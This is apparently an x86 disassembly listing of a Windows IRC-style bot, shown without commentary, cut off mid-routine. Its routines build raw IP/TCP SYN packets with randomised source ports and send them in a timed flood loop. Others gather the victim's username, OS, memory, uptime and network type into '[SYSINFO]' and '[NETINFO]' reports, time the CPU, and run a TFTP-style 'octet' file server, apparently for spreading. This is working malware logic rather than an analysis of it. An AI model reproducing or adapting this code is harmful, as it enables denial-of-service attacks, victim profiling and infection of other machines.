var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4915D4	; WSAStartup
		test	eax, eax
		jz	short loc_413BDE
		xor	eax, eax
		jmp	loc_413E4C
; ---------------------------------------------------------------------------


loc_413BDE:				; CODE XREF: sub_413B9E+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_491700	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413E44
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_49163C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413E3A
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_49165C	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_49165C	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_49165C	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_49165C	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_495420	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_49541C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417E10
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413CC9:				; CODE XREF: sub_413B9E+25Dj
					; sub_413B9E+26Bj
		mov	[ebp+var_24], bx
		call	sub_416B18
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_49165C	; htons
		mov	[ebp+var_34], ax
		call	sub_416B18
		mov	edi, eax
		shl	edi, 10h
		call	sub_416B18
		or	edi, eax
		push	edi
		call	dword_49165C	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_491658	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_49165C	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40120D
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415960
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40120D
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415960
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4916C0	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413E0E
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_49541C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413E37
		jl	loc_413CC9
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413E37
		jmp	loc_413CC9
; ---------------------------------------------------------------------------


loc_413E0E:				; CODE XREF: sub_413B9E+247j
		call	dword_4915F0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435514
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_401014
		add	esp, 10h
		jmp	short loc_413E3A
; ---------------------------------------------------------------------------


loc_413E37:				; CODE XREF: sub_413B9E+25Bj
					; sub_413B9E+269j
		mov	ebx, [ebp+arg_8]


loc_413E3A:				; CODE XREF: sub_413B9E+78j
					; sub_413B9E+297j
		push	[ebp+var_C]
		call	dword_4916F4	; closesocket
		pop	esi


loc_413E44:				; CODE XREF: sub_413B9E+5Bj
		call	dword_4915BC	; WSACleanup
		mov	eax, ebx


loc_413E4C:				; CODE XREF: sub_413B9E+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413B9E	endp

; ---------------------------------------------------------------------------
		db 0ACh	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413EFC	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4011C2
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_416CCF
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_416CCF
		mov	edi, eax
		call	sub_416B18
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401064
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413F47
		push	1
		pop	eax


loc_413F47:				; CODE XREF: sub_413EFC+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413EFC	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413F6C	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_495340	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_492788
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_4163D7
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413F6C	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------


loc_413FEF:				; CODE XREF: .text:0040112Cj
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		push	esi
		push	eax
		xor	esi, esi
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_495404	; GetVersionExA
		test	eax, eax
		jz	short loc_414082
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_414058
		cmp	[ebp-8Ch], esi
		jnz	short loc_414040
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_414033
		push	1
		pop	esi


loc_414033:				; CODE XREF: .text:0041402Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414082
		push	1
		jmp	short loc_414081
; ---------------------------------------------------------------------------


loc_414040:				; CODE XREF: .text:00414025j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_41404D


loc_414049:				; CODE XREF: .text:00414067j
		push	2
		jmp	short loc_414081
; ---------------------------------------------------------------------------


loc_41404D:				; CODE XREF: .text:00414047j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414082
		jmp	short loc_414072
; ---------------------------------------------------------------------------


loc_414058:				; CODE XREF: .text:0041401Dj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414082
		cmp	[ebp-8Ch], esi
		jz	short loc_414049
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414076


loc_414072:				; CODE XREF: .text:00414056j
		push	3
		jmp	short loc_414081
; ---------------------------------------------------------------------------


loc_414076:				; CODE XREF: .text:00414070j
		cmp	dword ptr [ebp-8Ch], 2
		jnz	short loc_414082
		push	7


loc_414081:				; CODE XREF: .text:0041403Ej
					; .text:0041404Bj ...
		pop	esi


loc_414082:				; CODE XREF: .text:00414014j
					; .text:0041403Aj ...
		mov	eax, esi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 26h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4140AD	proc near		; CODE XREF: sub_401041j
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4140B5:				; CODE XREF: sub_4140AD+2Fj
					; sub_4140AD+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_495324	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_417070
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4140B5
		jb	short loc_4140E4
		cmp	ebx, esi
		ja	short loc_4140B5


loc_4140E4:				; CODE XREF: sub_4140AD+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4170E0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_414157
		jb	short loc_414103
		cmp	esi, 50h
		jnb	short loc_414108


loc_414103:				; CODE XREF: sub_4140AD+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_414108:				; CODE XREF: sub_4140AD+54j
		test	ecx, ecx
		ja	short loc_414157
		jb	short loc_414113
		cmp	esi, 47h
		jnb	short loc_414118


loc_414113:				; CODE XREF: sub_4140AD+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_414118:				; CODE XREF: sub_4140AD+64j
		test	ecx, ecx
		ja	short loc_414157
		jb	short loc_414123
		cmp	esi, 37h
		jnb	short loc_414128


loc_414123:				; CODE XREF: sub_4140AD+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_414128:				; CODE XREF: sub_4140AD+74j
		test	ecx, ecx
		ja	short loc_414157
		jb	short loc_414133
		cmp	esi, 26h
		jnb	short loc_414138


loc_414133:				; CODE XREF: sub_4140AD+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_414138:				; CODE XREF: sub_4140AD+84j
		test	ecx, ecx
		ja	short loc_414157
		jb	short loc_414143
		cmp	esi, 1Eh
		jnb	short loc_414148


loc_414143:				; CODE XREF: sub_4140AD+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_414148:				; CODE XREF: sub_4140AD+94j
		test	ecx, ecx
		ja	short loc_414157
		jb	short loc_414153
		cmp	esi, 0Ah
		jnb	short loc_414157


loc_414153:				; CODE XREF: sub_4140AD+9Fj
		xor	eax, eax
		xor	edx, edx


loc_414157:				; CODE XREF: sub_4140AD+4Dj
					; sub_4140AD+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4140AD	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414190	proc near		; CODE XREF: sub_40125Dj

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_4370BC
		mov	[ebp+var_CC], 94h
		call	ds:dword_495404	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_414217
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4141F3
		cmp	[ebp+var_BC], 1
		jnz	short loc_4141DD
		mov	[ebp+var_4], offset a95	; "95"


loc_4141DD:				; CODE XREF: sub_414190+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_414292
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_414263
; ---------------------------------------------------------------------------


loc_4141F3:				; CODE XREF: sub_414190+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_414205
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41425A
; ---------------------------------------------------------------------------


loc_414205:				; CODE XREF: sub_414190+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_414253
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41425A
; ---------------------------------------------------------------------------


loc_414217:				; CODE XREF: sub_414190+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_414253
		cmp	[ebp+var_C4], ebx
		jnz	short loc_414231
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41425A
; ---------------------------------------------------------------------------


loc_414231:				; CODE XREF: sub_414190+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_414243
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_41425A
; ---------------------------------------------------------------------------


loc_414243:				; CODE XREF: sub_414190+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41425A


loc_414253:				; CODE XREF: sub_414190+7Cj
					; sub_414190+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41425A:				; CODE XREF: sub_414190+73j
					; sub_414190+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_414292


loc_414263:				; CODE XREF: sub_414190+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_414292
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_5	; "%s (%s)"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_414292:				; CODE XREF: sub_414190+54j
					; sub_414190+D1j ...
		mov	ax, word_42BB44
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_491548
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4142CB
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_4142CB:				; CODE XREF: sub_414190+12Cj
		push	[ebp+arg_4]
		call	sub_401299
		pop	ecx
		push	eax
		call	dword_49169C	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_491614	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4142F4
		push	dword ptr [eax]
		jmp	short loc_4142F9
; ---------------------------------------------------------------------------


loc_4142F4:				; CODE XREF: sub_414190+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_4142F9:				; CODE XREF: sub_414190+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_416821
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_495364	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_49536C	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_495368	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	ds:dword_495424	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417900
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_4010AA
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_4011AE
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_401299
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_401217
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_401217
		pop	ecx
		pop	ecx
		push	eax
		call	sub_401041
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_4163D7
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414190	endp

; ---------------------------------------------------------------------------
		db 0ADh	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144F1	proc near		; CODE XREF: sub_401302j

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		cmp	dword_491744, 0
		jnz	short loc_414565
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_49152C	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_414546
		lea	eax, [ebp+var_8C]
		push	offset aNotConnected ; "Not connected"
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_414546:				; CODE XREF: sub_4144F1+40j
		test	[ebp+var_C], 1
		jz	short loc_41455E
		push	offset aDialUp	; "Dial-up"


loc_414551:				; CODE XREF: sub_4144F1+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	short loc_414584
; ---------------------------------------------------------------------------


loc_41455E:				; CODE XREF: sub_4144F1+59j
		push	offset dword_4356E4
		jmp	short loc_414551
; ---------------------------------------------------------------------------


loc_414565:				; CODE XREF: sub_4144F1+28j
		mov	esi, offset off_4356E0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_416821
		add	esp, 10h


loc_414584:				; CODE XREF: sub_4144F1+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_401299
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_4163D7
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_4144F1	endp

; ---------------------------------------------------------------------------
		db 31h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145E8	proc near		; CODE XREF: sub_4012EEj

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_4916DC	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4146AB
		push	190h
		call	ds:dword_495324	; Sleep
		call	dword_4915F0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset dword_4357FC
		push	eax
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_41468B
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_4010D2
		add	esp, 14h


loc_41468B:				; CODE XREF: sub_4145E8+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_401014
		push	[ebp+var_170]
		call	sub_4012A3
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_495334	; ExitThread


loc_4146AB:				; CODE XREF: sub_4145E8+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_49165C	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_491688	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414710
		push	1388h
		call	ds:dword_495324	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_414AD3
; ---------------------------------------------------------------------------


loc_414710:				; CODE XREF: sub_4145E8+10Dj
		lea	eax, [ebp+var_378]
		push	offset dword_42B830
		push	eax
		call	sub_417012
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_41478E
		push	190h
		call	ds:dword_495324	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset dword_4357C4
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_4010D2
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_401014
		push	[ebp+var_170]
		call	sub_4012A3
		add	esp, 28h
		push	ebx
		call	ds:dword_495334	; ExitThread


loc_41478E:				; CODE XREF: sub_4145E8+140j
		mov	esi, 200h


loc_414793:				; CODE XREF: sub_4145E8+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_414A93
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_491644	; select
		test	eax, eax
		jle	loc_414A87
		mov	al, byte_4370BC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_491634	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_416821
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_414A71
		cmp	[ebp+var_D7], 1
		jnz	loc_4149BD
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4158E0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417B10
		add	esp, 14h
		test	eax, eax
		jnz	loc_414977
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_417B10
		add	esp, 10h
		test	eax, eax
		jnz	loc_414977
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_417E44
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416DEA
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_4916C0	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_435794


loc_41492B:				; CODE XREF: sub_4145E8+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_416821
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_414965
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_4010D2
		add	esp, 14h


loc_414965:				; CODE XREF: sub_4145E8+358j
